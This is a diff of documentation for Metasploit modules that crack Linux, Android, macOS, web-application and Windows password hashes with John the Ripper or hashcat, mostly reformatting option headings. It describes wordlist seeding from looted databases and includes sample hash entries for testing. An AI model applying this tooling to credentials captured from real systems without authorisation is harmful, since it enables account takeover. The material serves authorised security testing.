|
||||
### CRACKER_PATH
|
||||
|
||||
**CRACKER_PATH**
|
||||
The absolute path to the cracker executable. Default behavior is to search `path`.
|
||||
|
||||
The absolute path to the cracker executable. Default behavior is to search `path`.
|
||||
### CUSTOM_WORDLIST
|
||||
|
||||
**CUSTOM_WORDLIST**
|
||||
The path to an optional custom wordlist. This file is added to the new wordlist which may include the other
|
||||
`USE` items like `USE_CREDS`, and have `MUTATE` or `KORELOGIC` applied to it.
|
||||
|
||||
The path to an optional custom wordlist. This file is added to the new wordlist which may include the other
|
||||
`USE` items like `USE_CREDS`, and have `MUTATE` or `KORELOGIC` applied to it.
|
||||
### DES
|
||||
|
||||
**DES**
|
||||
Crack DES hashes. Default is `true`.
|
||||
|
||||
Crack DES hashes. Default is `true`.
|
||||
### DeleteTempFiles
|
||||
|
||||
**DeleteTempFiles**
|
||||
This option will prevent deletion of the wordlist and file containing hashes. This may be useful for
|
||||
running the hashes through john if it wasn't cracked, or for debugging. Default is `false`.
|
||||
|
||||
This option will prevent deletion of the wordlist and file containing hashes. This may be useful for
|
||||
running the hashes through john if it wasn't cracked, or for debugging. Default is `false`.
|
||||
### Fork
|
||||
|
||||
**Fork**
|
||||
This option will set how many forks to use on john the ripper. Default is `1` (no forking).
|
||||
|
||||
This option will set how many forks to use on john the ripper. Default is `1` (no forking).
|
||||
### INCREMENTAL
|
||||
|
||||
**INCREMENTAL**
|
||||
Run the cracker in incremental mode. Default is `true`
|
||||
|
||||
Run the cracker in incremental mode. Default is `true`
|
||||
### ITERATION_TIMEOUT
|
||||
|
||||
**ITERATION_TIMEOUT**
|
||||
The max-run-time for each iteration of cracking.
|
||||
|
||||
The max-run-time for each iteration of cracking.
|
||||
### KORELOGIC
|
||||
|
||||
**KORELOGIC**
|
||||
Apply the [KoreLogic rules](http://contest-2010.korelogic.com/rules.html) to Wordlist Mode (slower).
|
||||
Default is `false`.
|
||||
|
||||
Apply the [KoreLogic rules](http://contest-2010.korelogic.com/rules.html) to Wordlist Mode (slower).
|
||||
Default is `false`.
|
||||
### MD5
|
||||
|
||||
**MD5**
|
||||
Crack MD5 hashes. Default is `true`.
|
||||
|
||||
Crack MD5 hashes. Default is `true`.
|
||||
### MUTATE
|
||||
|
||||
**MUTATE**
|
||||
|
||||
Apply common mutations to the Wordlist (SLOW). Mutations are:
|
||||
Apply common mutations to the Wordlist (SLOW). Mutations are:
|
||||
|
||||
* `'@' => 'a'`
|
||||
* `'0' => 'o'`
|
||||
@@ -107,52 +106,52 @@
|
||||
* `'1' => 'l'`
|
||||
* `'5' => 's'`
|
||||
|
||||
Default is `false`.
|
||||
Default is `false`.
|
||||
|
||||
**POT**
|
||||
### POT
|
||||
|
||||
The path to a John POT file (JtR option: `--pot`) to use instead. The `pot` file is the data file which
|
||||
records cracked password hashes. Kali linux's default location is `/root/.john/john.pot`.
|
||||
Default is `~/.msf4/john.pot`.
|
||||
The path to a John POT file (JtR option: `--pot`) to use instead. The `pot` file is the data file which
|
||||
records cracked password hashes. Kali linux's default location is `/root/.john/john.pot`.
|
||||
Default is `~/.msf4/john.pot`.
|
||||
|
||||
**SHA256**
|
||||
### SHA256
|
||||
|
||||
Crack SHA256 hashes. Default is `false`.
|
||||
Crack SHA256 hashes. Default is `false`.
|
||||
|
||||
**SHA512**
|
||||
### SHA512
|
||||
|
||||
Crack SHA12 hashes. Default is `false`.
|
||||
Crack SHA12 hashes. Default is `false`.
|
||||
|
||||
**SHOWCOMMAND**
|
||||
### SHOWCOMMAND
|
||||
|
||||
Show the command being used run from the command line for debugging. Default is `false`
|
||||
Show the command being used run from the command line for debugging. Default is `false`
|
||||
|
||||
**USE_CREDS**
|
||||
### USE_CREDS
|
||||
|
||||
Use existing credential data saved in the database. Default is `true`.
|
||||
Use existing credential data saved in the database. Default is `true`.
|
||||
|
||||
**USE_DB_INFO**
|
||||
### USE_DB_INFO
|
||||
|
||||
Use looted database schema info to seed the wordlist. This includes the Database Name, each Table Name,
|
||||
and each Column Name. If the DB is MSSQL, the Instance Name is also used. Default is `true`.
|
||||
Use looted database schema info to seed the wordlist. This includes the Database Name, each Table Name,
|
||||
and each Column Name. If the DB is MSSQL, the Instance Name is also used. Default is `true`.
|
||||
|
||||
**USE_DEFAULT_WORDLIST**
|
||||
### USE_DEFAULT_WORDLIST
|
||||
|
||||
Use the default metasploit wordlist in `metasploit-framework/data/wordlists/password.lst`. Default is
|
||||
`true`.
|
||||
Use the default metasploit wordlist in `metasploit-framework/data/wordlists/password.lst`. Default is
|
||||
`true`.
|
||||
|
||||
**USE_HOSTNAMES**
|
||||
### USE_HOSTNAMES
|
||||
|
||||
Seed the wordlist with hostnames from the workspace. Default is `true`.
|
||||
Seed the wordlist with hostnames from the workspace. Default is `true`.
|
||||
|
||||
**USE_ROOT_WORDS**
|
||||
### USE_ROOT_WORDS
|
||||
|
||||
Use the Common Root Words Wordlist in `metasploit-framework/data/wordlists/common_roots.txt`. Default
|
||||
is true.
|
||||
Use the Common Root Words Wordlist in `metasploit-framework/data/wordlists/common_roots.txt`. Default
|
||||
is true.
|
||||
|
||||
**WORDLIST**
|
||||
### WORDLIST
|
||||
|
||||
Run the cracker in dictionary/wordlist mode. Default is `true`
|
||||
Run the cracker in dictionary/wordlist mode. Default is `true`
|
||||
|
||||
## Scenarios
|
||||
|
||||
|
||||
@@ -10,7 +10,7 @@
|
||||
Formats:
|
||||
|
||||
| Common | John | Hashcat |
|
||||
|----------------------| -----|---------|
|
||||
| -------------------- | ---- | ------- |
|
||||
| android-md5 | n/a | 10 |
|
||||
| android-samsung-sha1 | n/a | 5800 |
|
||||
| android-sha1 | n/a | 110 |
|
||||
@@ -29,62 +29,62 @@
|
||||
|
||||
## Actions
|
||||
|
||||
**hashcat**
|
||||
### hashcat
|
||||
|
||||
Use hashcat (default).
|
||||
Use hashcat (default).
|
||||
|
||||
## Options
|
||||
|
||||
**MD5**
|
||||
### MD5
|
||||
|
||||
Crack `android-md5` based passwords. Default is `true`
|
||||
Crack `android-md5` based passwords. Default is `true`
|
||||
|
||||
**SHA1**
|
||||
### SHA1
|
||||
|
||||
Crack `android-sha1` (non-samsung) based passwords. Default is `true`
|
||||
Crack `android-sha1` (non-samsung) based passwords. Default is `true`
|
||||
|
||||
**SAMSUNG**
|
||||
### SAMSUNG
|
||||
|
||||
Crack `android-samsung-sha1` based passwords. Default is `true`
|
||||
Crack `android-samsung-sha1` based passwords. Default is `true`
|
||||
|
||||
**CONFIG**
|
||||
### CONFIG
|
||||
|
||||
The path to a John config file (JtR option: `--config`). Default is `metasploit-framework/data/john.conf`
|
||||
The path to a John config file (JtR option: `--config`). Default is `metasploit-framework/data/john.conf`
|
||||
|
||||
**CRACKER_PATH**
|
||||
### CRACKER_PATH
|
||||
|
||||
The absolute path to the cracker executable. Default behavior is to search `path`.
|
||||
The absolute path to the cracker executable. Default behavior is to search `path`.
|
||||
|
||||
**CUSTOM_WORDLIST**
|
||||
### CUSTOM_WORDLIST
|
||||
|
||||
The path to an optional custom wordlist. This file is added to the new wordlist which may include the other
|
||||
`USE` items like `USE_CREDS`, and have `MUTATE` or `KORELOGIC` applied to it.
|
||||
The path to an optional custom wordlist. This file is added to the new wordlist which may include the other
|
||||
`USE` items like `USE_CREDS`, and have `MUTATE` or `KORELOGIC` applied to it.
|
||||
|
||||
**DeleteTempFiles**
|
||||
### DeleteTempFiles
|
||||
|
||||
This option will prevent deletion of the wordlist and file containing hashes. This may be useful for
|
||||
running the hashes through john if it wasn't cracked, or for debugging. Default is `false`.
|
||||
This option will prevent deletion of the wordlist and file containing hashes. This may be useful for
|
||||
running the hashes through john if it wasn't cracked, or for debugging. Default is `false`.
|
||||
|
||||
**Fork**
|
||||
### Fork
|
||||
|
||||
This option will set how many forks to use on john the ripper. Default is `1` (no forking).
|
||||
This option will set how many forks to use on john the ripper. Default is `1` (no forking).
|
||||
|
||||
**INCREMENTAL**
|
||||
### INCREMENTAL
|
||||
|
||||
Run the cracker in incremental mode. Default is `true`
|
||||
Run the cracker in incremental mode. Default is `true`
|
||||
|
||||
**ITERATION_TIMEOUT**
|
||||
### ITERATION_TIMEOUT
|
||||
|
||||
The max-run-time for each iteration of cracking
|
||||
The max-run-time for each iteration of cracking
|
||||
|
||||
**KORELOGIC**
|
||||
### KORELOGIC
|
||||
|
||||
Apply the [KoreLogic rules](http://contest-2010.korelogic.com/rules.html) to Wordlist Mode (slower).
|
||||
Default is `false`.
|
||||
Apply the [KoreLogic rules](http://contest-2010.korelogic.com/rules.html) to Wordlist Mode (slower).
|
||||
Default is `false`.
|
||||
|
||||
**MUTATE**
|
||||
### MUTATE
|
||||
|
||||
Apply common mutations to the Wordlist (SLOW). Mutations are:
|
||||
Apply common mutations to the Wordlist (SLOW). Mutations are:
|
||||
|
||||
* `'@' => 'a'`
|
||||
* `'0' => 'o'`
|
||||
@@ -94,44 +94,44 @@
|
||||
* `'1' => 'l'`
|
||||
* `'5' => 's'`
|
||||
|
||||
Default is `false`.
|
||||
Default is `false`.
|
||||
|
||||
**POT**
|
||||
### POT
|
||||
|
||||
The path to a John POT file (JtR option: `--pot`) to use instead. The `pot` file is the data file which
|
||||
records cracked password hashes. Kali linux's default location is `/root/.john/john.pot`.
|
||||
Default is `~/.msf4/john.pot`.
|
||||
The path to a John POT file (JtR option: `--pot`) to use instead. The `pot` file is the data file which
|
||||
records cracked password hashes. Kali linux's default location is `/root/.john/john.pot`.
|
||||
Default is `~/.msf4/john.pot`.
|
||||
|
||||
**SHOWCOMMAND**
|
||||
### SHOWCOMMAND
|
||||
|
||||
Show the command being used run from the command line for debugging. Default is `false`
|
||||
Show the command being used run from the command line for debugging. Default is `false`
|
||||
|
||||
**USE_CREDS**
|
||||
### USE_CREDS
|
||||
|
||||
Use existing credential data saved in the database. Default is `true`.
|
||||
Use existing credential data saved in the database. Default is `true`.
|
||||
|
||||
**USE_DB_INFO**
|
||||
### USE_DB_INFO
|
||||
|
||||
Use looted database schema info to seed the wordlist. This includes the Database Name, each Table Name,
|
||||
and each Column Name. If the DB is MSSQL, the Instance Name is also used. Default is `true`.
|
||||
Use looted database schema info to seed the wordlist. This includes the Database Name, each Table Name,
|
||||
and each Column Name. If the DB is MSSQL, the Instance Name is also used. Default is `true`.
|
||||
|
||||
**USE_DEFAULT_WORDLIST**
|
||||
### USE_DEFAULT_WORDLIST
|
||||
|
||||
Use the default metasploit wordlist in `metasploit-framework/data/wordlists/password.lst`. Default is
|
||||
`true`.
|
||||
Use the default metasploit wordlist in `metasploit-framework/data/wordlists/password.lst`. Default is
|
||||
`true`.
|
||||
|
||||
**USE_HOSTNAMES**
|
||||
### USE_HOSTNAMES
|
||||
|
||||
Seed the wordlist with hostnames from the workspace. Default is `true`.
|
||||
|
||||
**USE_ROOT_WORDS**
|
||||
### USE_ROOT_WORDS
|
||||
|
||||
Use the Common Root Words Wordlist in `metasploit-framework/data/wordlists/common_roots.txt`. Default
|
||||
is true.
|
||||
Use the Common Root Words Wordlist in `metasploit-framework/data/wordlists/common_roots.txt`. Default
|
||||
is true.
|
||||
|
||||
**WORDLIST**
|
||||
### WORDLIST
|
||||
|
||||
Run the cracker in dictionary/wordlist mode. Default is `true`
|
||||
Run the cracker in dictionary/wordlist mode. Default is `true`
|
||||
|
||||
## Scenarios
|
||||
|
||||
@@ -141,7 +141,9 @@ The following is data which can be used to test integration, including adding en
|
||||
to a wordlist and pot file to test various aspects of the cracker.
|
||||
|
||||
```
|
||||
creds add user:androidsha1 hash:D1B19A90B87FC10C304E657F37162445DAE27D16:a006983800cc3dd1 jtr:android-sha1
|
||||
creds add user:samsungsha1 hash:D1B19A90B87FC10C304E657F37162445DAE27D16:a006983800cc3dd1 jtr:android-samsung-sha1
|
||||
creds add user:androidsha1 hash:9860A48CA459D054F3FEF0F8518CF6872923DAE2:81fcb23bcadd6c5 jtr:android-sha1
|
||||
creds add user:androidmd5 hash:1C0A0FDB673FBA36BEAEB078322C7393:81fcb23bcadd6c5 jtr:android-md5
|
||||
```
|
||||
|
||||
### Hashcat
|
||||
|
||||
@@ -8,7 +8,7 @@
|
||||
* `PBKDF2-HMAC-SHA512` based passwords (10.8+)
|
||||
|
||||
| Common | John | Hashcat |
|
||||
|--------------------|--------------------|---------|
|
||||
| ------------------ | ------------------ | ------- |
|
||||
| xsha | xsha | 122 |
|
||||
| xsha512 | xsha512 | 1722 |
|
||||
| pbkdf2-hmac-sha512 | pbkdf2-hmac-sha512 | 7100 |
|
||||
@@ -27,54 +27,54 @@
|
||||
|
||||
## Actions
|
||||
|
||||
**john**
|
||||
### john
|
||||
|
||||
Use john the ripper (default).
|
||||
Use john the ripper (default).
|
||||
|
||||
**hashcat**
|
||||
### hashcat
|
||||
|
||||
Use hashcat.
|
||||
Use hashcat.
|
||||
|
||||
## Options
|
||||
|
||||
**CONFIG**
|
||||
### CONFIG
|
||||
|
||||
The path to a John config file (JtR option: `--config`). Default is `metasploit-framework/data/john.conf`
|
||||
The path to a John config file (JtR option: `--config`). Default is `metasploit-framework/data/john.conf`
|
||||
|
||||
**CRACKER_PATH**
|
||||
### CRACKER_PATH
|
||||
|
||||
The absolute path to the cracker executable. Default behavior is to search `path`.
|
||||
The absolute path to the cracker executable. Default behavior is to search `path`.
|
||||
|
||||
**CUSTOM_WORDLIST**
|
||||
### CUSTOM_WORDLIST
|
||||
|
||||
The path to an optional custom wordlist. This file is added to the new wordlist which may include the other
|
||||
`USE` items like `USE_CREDS`, and have `MUTATE` or `KORELOGIC` applied to it.
|
||||
The path to an optional custom wordlist. This file is added to the new wordlist which may include the other
|
||||
`USE` items like `USE_CREDS`, and have `MUTATE` or `KORELOGIC` applied to it.
|
||||
|
||||
**DeleteTempFiles**
|
||||
### DeleteTempFiles
|
||||
|
||||
This option will prevent deletion of the wordlist and file containing hashes. This may be useful for
|
||||
running the hashes through john if it wasn't cracked, or for debugging. Default is `false`.
|
||||
This option will prevent deletion of the wordlist and file containing hashes. This may be useful for
|
||||
running the hashes through john if it wasn't cracked, or for debugging. Default is `false`.
|
||||
|
||||
**Fork**
|
||||
### Fork
|
||||
|
||||
This option will set how many forks to use on john the ripper. Default is `1` (no forking).
|
||||
This option will set how many forks to use on john the ripper. Default is `1` (no forking).
|
||||
|
||||
**INCREMENTAL**
|
||||
### INCREMENTAL
|
||||
|
||||
Run the cracker in incremental mode. Default is `true`
|
||||
Run the cracker in incremental mode. Default is `true`
|
||||
|
||||
**ITERATION_TIMEOUT**
|
||||
### ITERATION_TIMEOUT
|
||||
|
||||
The max-run-time for each iteration of cracking.
|
||||
The max-run-time for each iteration of cracking.
|
||||
|
||||
**KORELOGIC**
|
||||
### KORELOGIC
|
||||
|
||||
Apply the [KoreLogic rules](http://contest-2010.korelogic.com/rules.html) to Wordlist Mode (slower).
|
||||
Default is `false`.
|
||||
Apply the [KoreLogic rules](http://contest-2010.korelogic.com/rules.html) to Wordlist Mode (slower).
|
||||
Default is `false`.
|
||||
|
||||
**MUTATE**
|
||||
### MUTATE
|
||||
|
||||
Apply common mutations to the Wordlist (SLOW). Mutations are:
|
||||
Apply common mutations to the Wordlist (SLOW). Mutations are:
|
||||
|
||||
* `'@' => 'a'`
|
||||
* `'0' => 'o'`
|
||||
@@ -84,52 +84,52 @@
|
||||
* `'1' => 'l'`
|
||||
* `'5' => 's'`
|
||||
|
||||
Default is `false`.
|
||||
Default is `false`.
|
||||
|
||||
**PBKDF2-HMAC-SHA512**
|
||||
### PBKDF2-HMAC-SHA512
|
||||
|
||||
Crack SHA12 hashes. Default is `true`.
|
||||
Crack SHA12 hashes. Default is `true`.
|
||||
|
||||
**POT**
|
||||
### POT
|
||||
|
||||
The path to a John POT file (JtR option: `--pot`) to use instead. The `pot` file is the data file which
|
||||
records cracked password hashes. Kali linux's default location is `/root/.john/john.pot`.
|
||||
Default is `~/.msf4/john.pot`.
|
||||
The path to a John POT file (JtR option: `--pot`) to use instead. The `pot` file is the data file which
|
||||
records cracked password hashes. Kali linux's default location is `/root/.john/john.pot`.
|
||||
Default is `~/.msf4/john.pot`.
|
||||
|
||||
**SHOWCOMMAND**
|
||||
### SHOWCOMMAND
|
||||
|
||||
Show the command being used run from the command line for debugging. Default is `false`
|
||||
Show the command being used run from the command line for debugging. Default is `false`
|
||||
|
||||
**USE_CREDS**
|
||||
### USE_CREDS
|
||||
|
||||
Use existing credential data saved in the database. Default is `true`.
|
||||
Use existing credential data saved in the database. Default is `true`.
|
||||
|
||||
**USE_DB_INFO**
|
||||
### USE_DB_INFO
|
||||
|
||||
Use looted database schema info to seed the wordlist. This includes the Database Name, each Table Name,
|
||||
and each Column Name. If the DB is MSSQL, the Instance Name is also used. Default is `true`.
|
||||
Use looted database schema info to seed the wordlist. This includes the Database Name, each Table Name,
|
||||
and each Column Name. If the DB is MSSQL, the Instance Name is also used. Default is `true`.
|
||||
|
||||
**USE_DEFAULT_WORDLIST**
|
||||
### USE_DEFAULT_WORDLIST
|
||||
|
||||
Use the default metasploit wordlist in `metasploit-framework/data/wordlists/password.lst`. Default is
|
||||
`true`.
|
||||
Use the default metasploit wordlist in `metasploit-framework/data/wordlists/password.lst`. Default is
|
||||
`true`.
|
||||
|
||||
**USE_HOSTNAMES**
|
||||
### USE_HOSTNAMES
|
||||
|
||||
Seed the wordlist with hostnames from the workspace. Default is `true`.
|
||||
Seed the wordlist with hostnames from the workspace. Default is `true`.
|
||||
|
||||
**USE_ROOT_WORDS**
|
||||
### USE_ROOT_WORDS
|
||||
|
||||
Use the Common Root Words Wordlist in `metasploit-framework/data/wordlists/common_roots.txt`. Default
|
||||
is true.
|
||||
Use the Common Root Words Wordlist in `metasploit-framework/data/wordlists/common_roots.txt`. Default
|
||||
is true.
|
||||
|
||||
**WORDLIST**
|
||||
### WORDLIST
|
||||
|
||||
Run the cracker in dictionary/wordlist mode. Default is `true`
|
||||
Run the cracker in dictionary/wordlist mode. Default is `true`
|
||||
|
||||
**XSHA**
|
||||
### XSHA
|
||||
|
||||
Crack xsha based hashes. Default is `true`.
|
||||
Crack xsha based hashes. Default is `true`.
|
||||
|
||||
## Scenarios
|
||||
|
||||
|
||||
@@ -8,7 +8,7 @@
|
||||
* `mediawiki` based passwords
|
||||
|
||||
| Common | John | Hashcat |
|
||||
|-----------|------------------|-------- |
|
||||
| --------- | ---------------- | ------- |
|
||||
| atlassian | PBKDF2-HMAC-SHA1 | 12001 |
|
||||
| mediawiki | mediawiki | 3711 |
|
||||
| phpass | phpass | 400 |
|
||||
@@ -27,63 +27,63 @@
|
||||
|
||||
## Actions
|
||||
|
||||
**john**
|
||||
### john
|
||||
|
||||
Use john the ripper (default).
|
||||
Use john the ripper (default).
|
||||
|
||||
**hashcat**
|
||||
### hashcat
|
||||
|
||||
Use hashcat.
|
||||
Use hashcat.
|
||||
|
||||
## Options
|
||||
|
||||
**ATLASSIAN**
|
||||
### ATLASSIAN
|
||||
|
||||
Crack atlassian hashes. Default is `true`.
|
||||
Crack atlassian hashes. Default is `true`.
|
||||
|
||||
**CONFIG**
|
||||
### CONFIG
|
||||
|
||||
The path to a John config file (JtR option: `--config`). Default is `metasploit-framework/data/john.conf`
|
||||
The path to a John config file (JtR option: `--config`). Default is `metasploit-framework/data/john.conf`
|
||||
|
||||
|
||||
**CRACKER_PATH**
|
||||
### CRACKER_PATH
|
||||
|
||||
The absolute path to the cracker executable. Default behavior is to search `path`.
|
||||
The absolute path to the cracker executable. Default behavior is to search `path`.
|
||||
|
||||
**CUSTOM_WORDLIST**
|
||||
### CUSTOM_WORDLIST
|
||||
|
||||
The path to an optional custom wordlist. This file is added to the new wordlist which may include the other
|
||||
`USE` items like `USE_CREDS`, and have `MUTATE` or `KORELOGIC` applied to it.
|
||||
The path to an optional custom wordlist. This file is added to the new wordlist which may include the other
|
||||
`USE` items like `USE_CREDS`, and have `MUTATE` or `KORELOGIC` applied to it.
|
||||
|
||||
**DeleteTempFiles**
|
||||
### DeleteTempFiles
|
||||
|
||||
This option will prevent deletion of the wordlist and file containing hashes. This may be useful for
|
||||
running the hashes through john if it wasn't cracked, or for debugging. Default is `false`.
|
||||
This option will prevent deletion of the wordlist and file containing hashes. This may be useful for
|
||||
running the hashes through john if it wasn't cracked, or for debugging. Default is `false`.
|
||||
|
||||
**Fork**
|
||||
### Fork
|
||||
|
||||
This option will set how many forks to use on john the ripper. Default is `1` (no forking).
|
||||
This option will set how many forks to use on john the ripper. Default is `1` (no forking).
|
||||
|
||||
**INCREMENTAL**
|
||||
### INCREMENTAL
|
||||
|
||||
Run the cracker in incremental mode. Default is `true`
|
||||
Run the cracker in incremental mode. Default is `true`
|
||||
|
||||
**ITERATION_TIMEOUT**
|
||||
### ITERATION_TIMEOUT
|
||||
|
||||
The max-run-time for each iteration of cracking.
|
||||
The max-run-time for each iteration of cracking.
|
||||
|
||||
**KORELOGIC**
|
||||
### KORELOGIC
|
||||
|
||||
Apply the [KoreLogic rules](http://contest-2010.korelogic.com/rules.html) to Wordlist Mode (slower).
|
||||
Default is `false`.
|
||||
Apply the [KoreLogic rules](http://contest-2010.korelogic.com/rules.html) to Wordlist Mode (slower).
|
||||
Default is `false`.
|
||||
|
||||
**MEDIAWIKI**
|
||||
### MEDIAWIKI
|
||||
|
||||
Crack mediawiki hashes. Default is `true`.
|
||||
Crack mediawiki hashes. Default is `true`.
|
||||
|
||||
**MUTATE**
|
||||
### MUTATE
|
||||
|
||||
Apply common mutations to the Wordlist (SLOW). Mutations are:
|
||||
Apply common mutations to the Wordlist (SLOW). Mutations are:
|
||||
|
||||
* `'@' => 'a'`
|
||||
* `'0' => 'o'`
|
||||
@@ -93,48 +93,48 @@
|
||||
* `'1' => 'l'`
|
||||
* `'5' => 's'`
|
||||
|
||||
Default is `false`.
|
||||
Default is `false`.
|
||||
|
||||
**PHPASS**
|
||||
### PHPASS
|
||||
|
||||
Crack PHPASS hashes. Default is `true`.
|
||||
Crack PHPASS hashes. Default is `true`.
|
||||
|
||||
**POT**
|
||||
### POT
|
||||
|
||||
The path to a John POT file (JtR option: `--pot`) to use instead. The `pot` file is the data file which
|
||||
records cracked password hashes. Kali linux's default location is `/root/.john/john.pot`.
|
||||
Default is `~/.msf4/john.pot`.
|
||||
The path to a John POT file (JtR option: `--pot`) to use instead. The `pot` file is the data file which
|
||||
records cracked password hashes. Kali linux's default location is `/root/.john/john.pot`.
|
||||
Default is `~/.msf4/john.pot`.
|
||||
|
||||
**SHOWCOMMAND**
|
||||
### SHOWCOMMAND
|
||||
|
||||
Show the command being used run from the command line for debugging. Default is `false`
|
||||
Show the command being used run from the command line for debugging. Default is `false`
|
||||
|
||||
**USE_CREDS**
|
||||
### USE_CREDS
|
||||
|
||||
Use existing credential data saved in the database. Default is `true`.
|
||||
Use existing credential data saved in the database. Default is `true`.
|
||||
|
||||
**USE_DB_INFO**
|
||||
### USE_DB_INFO
|
||||
|
||||
Use looted database schema info to seed the wordlist. This includes the Database Name, each Table Name,
|
||||
and each Column Name. If the DB is MSSQL, the Instance Name is also used. Default is `true`.
|
||||
Use looted database schema info to seed the wordlist. This includes the Database Name, each Table Name,
|
||||
and each Column Name. If the DB is MSSQL, the Instance Name is also used. Default is `true`.
|
||||
|
||||
**USE_DEFAULT_WORDLIST**
|
||||
### USE_DEFAULT_WORDLIST
|
||||
|
||||
Use the default metasploit wordlist in `metasploit-framework/data/wordlists/password.lst`. Default is
|
||||
`true`.
|
||||
Use the default metasploit wordlist in `metasploit-framework/data/wordlists/password.lst`. Default is
|
||||
`true`.
|
||||
|
||||
**USE_HOSTNAMES**
|
||||
### USE_HOSTNAMES
|
||||
|
||||
Seed the wordlist with hostnames from the workspace. Default is `true`.
|
||||
Seed the wordlist with hostnames from the workspace. Default is `true`.
|
||||
|
||||
**USE_ROOT_WORDS**
|
||||
### USE_ROOT_WORDS
|
||||
|
||||
Use the Common Root Words Wordlist in `metasploit-framework/data/wordlists/common_roots.txt`. Default
|
||||
is true.
|
||||
Use the Common Root Words Wordlist in `metasploit-framework/data/wordlists/common_roots.txt`. Default
|
||||
is true.
|
||||
|
||||
**WORDLIST**
|
||||
### WORDLIST
|
||||
|
||||
Run the cracker in dictionary/wordlist mode. Default is `true`
|
||||
Run the cracker in dictionary/wordlist mode. Default is `true`
|
||||
|
||||
## Scenarios
|
||||
|
||||
|
||||
@@ -5,18 +5,25 @@
|
||||
|
||||
* `LANMAN` based passwords
|
||||
* `NTLM` based passwords
|
||||
* `M$ CASH hashes (1 and 2)` based passwords
|
||||
* `NETNTLM` and `NETNTLMV2` based passwords
|
||||
|
||||
| Common | John | Hashcat |
|
||||
| --------- | --------- | ------- |
|
||||
| lanman | lm | 3000 |
|
||||
| ntlm | nt | 1000 |
|
||||
| mscash | mscash | 1100 |
|
||||
| mscash2 | mscash2 | 2100 |
|
||||
| netntlm | netntlm | 5500 |
|
||||
| netntlmv2 | netntlmv2 | 5600 |
|
||||
|
||||
| Common | John | Hashcat |
|
||||
|--------|----------|---------|
|
||||
| lanman | lm | 3000 |
|
||||
| ntlm | nt | 1000 |
|
||||
|
||||
Sources of hashes can be found here:
|
||||
[source](https://openwall.info/wiki/john/sample-hashes), [source2](http://pentestmonkey.net/cheat-sheet/john-the-ripper-hash-formats)
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Have at least one user with an `ntlm`, or `lanman` password hash in the database
|
||||
1. Have at least one user with an uncracked windows based password hash in the database
|
||||
2. Start msfconsole
|
||||
3. Do: ```use auxiliary/analyze/crack_windows```
|
||||
4. Do: set cracker of choice
|
||||
@@ -25,58 +32,62 @@
|
||||
|
||||
## Actions
|
||||
|
||||
**john**
|
||||
### john
|
||||
|
||||
Use john the ripper (default).
|
||||
Use john the ripper (default).
|
||||
|
||||
**hashcat**
|
||||
### hashcat
|
||||
|
||||
Use hashcat.
|
||||
Use hashcat.
|
||||
|
||||
## Options
|
||||
|
||||
**CONFIG**
|
||||
### CONFIG
|
||||
|
||||
The path to a John config file (JtR option: `--config`). Default is `metasploit-framework/data/john.conf`
|
||||
The path to a John config file (JtR option: `--config`). Default is `metasploit-framework/data/john.conf`
|
||||
|
||||
**CRACKER_PATH**
|
||||
### CRACKER_PATH
|
||||
|
||||
The absolute path to the cracker executable. Default behavior is to search `path`.
|
||||
The absolute path to the cracker executable. Default behavior is to search `path`.
|
||||
|
||||
**CUSTOM_WORDLIST**
|
||||
### CUSTOM_WORDLIST
|
||||
|
||||
The path to an optional custom wordlist. This file is added to the new wordlist which may include the other
|
||||
`USE` items like `USE_CREDS`, and have `MUTATE` or `KORELOGIC` applied to it.
|
||||
The path to an optional custom wordlist. This file is added to the new wordlist which may include the other
|
||||
`USE` items like `USE_CREDS`, and have `MUTATE` or `KORELOGIC` applied to it.
|
||||
|
||||
**DeleteTempFiles**
|
||||
### DeleteTempFiles
|
||||
|
||||
This option will prevent deletion of the wordlist and file containing hashes. This may be useful for
|
||||
running the hashes through john if it wasn't cracked, or for debugging. Default is `false`.
|
||||
This option will prevent deletion of the wordlist and file containing hashes. This may be useful for
|
||||
running the hashes through john if it wasn't cracked, or for debugging. Default is `false`.
|
||||
|
||||
**Fork**
|
||||
### Fork
|
||||
|
||||
This option will set how many forks to use on john the ripper. Default is `1` (no forking).
|
||||
This option will set how many forks to use on john the ripper. Default is `1` (no forking).
|
||||
|
||||
**INCREMENTAL**
|
||||
### INCREMENTAL
|
||||
|
||||
Run the cracker in incremental mode. Default is `true`
|
||||
Run the cracker in incremental mode. Default is `true`
|
||||
|
||||
**ITERATION_TIMEOUT**
|
||||
### ITERATION_TIMEOUT
|
||||
|
||||
The max-run-time for each iteration of cracking.
|
||||
The max-run-time for each iteration of cracking.
|
||||
|
||||
**KORELOGIC**
|
||||
### KORELOGIC
|
||||
|
||||
Apply the [KoreLogic rules](http://contest-2010.korelogic.com/rules.html) to Wordlist Mode (slower).
|
||||
Default is `false`.
|
||||
Apply the [KoreLogic rules](http://contest-2010.korelogic.com/rules.html) to Wordlist Mode (slower).
|
||||
Default is `false`.
|
||||
|
||||
**LANMAN**
|
||||
### LANMAN
|
||||
|
||||
Crack LANMAN hashes. Default is `true`.
|
||||
Crack LANMAN hashes. Default is `true`.
|
||||
|
||||
**MUTATE**
|
||||
### MSCASH
|
||||
|
||||
Apply common mutations to the Wordlist (SLOW). Mutations are:
|
||||
Crack MSCASH hashes. Default is `true`.
|
||||
|
||||
### MUTATE
|
||||
|
||||
Apply common mutations to the Wordlist (SLOW). Mutations are:
|
||||
|
||||
* `'@' => 'a'`
|
||||
* `'0' => 'o'`
|
||||
@@ -86,48 +97,56 @@
|
||||
* `'1' => 'l'`
|
||||
* `'5' => 's'`
|
||||
|
||||
Default is `false`.
|
||||
Default is `false`.
|
||||
|
||||
**NTLM**
|
||||
### NETNTLM
|
||||
|
||||
Crack NTLM hashes. Default is `true`.
|
||||
Crack NETNTLM hashes. Default is `true`.
|
||||
|
||||
**POT**
|
||||
### NETNTLMV2
|
||||
|
||||
The path to a John POT file (JtR option: `--pot`) to use instead. The `pot` file is the data file which
|
||||
records cracked password hashes. Kali linux's default location is `/root/.john/john.pot`.
|
||||
Default is `~/.msf4/john.pot`.
|
||||
Crack NETNTLMV2 hashes. Default is `true`.
|
||||
|
||||
**SHOWCOMMAND**
|
||||
### NTLM
|
||||
|
||||
Show the command being used run from the command line for debugging. Default is `false`
|
||||
Crack NTLM hashes. Default is `true`.
|
||||
|
||||
**USE_CREDS**
|
||||
### POT
|
||||
|
||||
Use existing credential data saved in the database. Default is `true`.
|
||||
The path to a John POT file (JtR option: `--pot`) to use instead. The `pot` file is the data file which
|
||||
records cracked password hashes. Kali linux's default location is `/root/.john/john.pot`.
|
||||
Default is `~/.msf4/john.pot`.
|
||||
|
||||
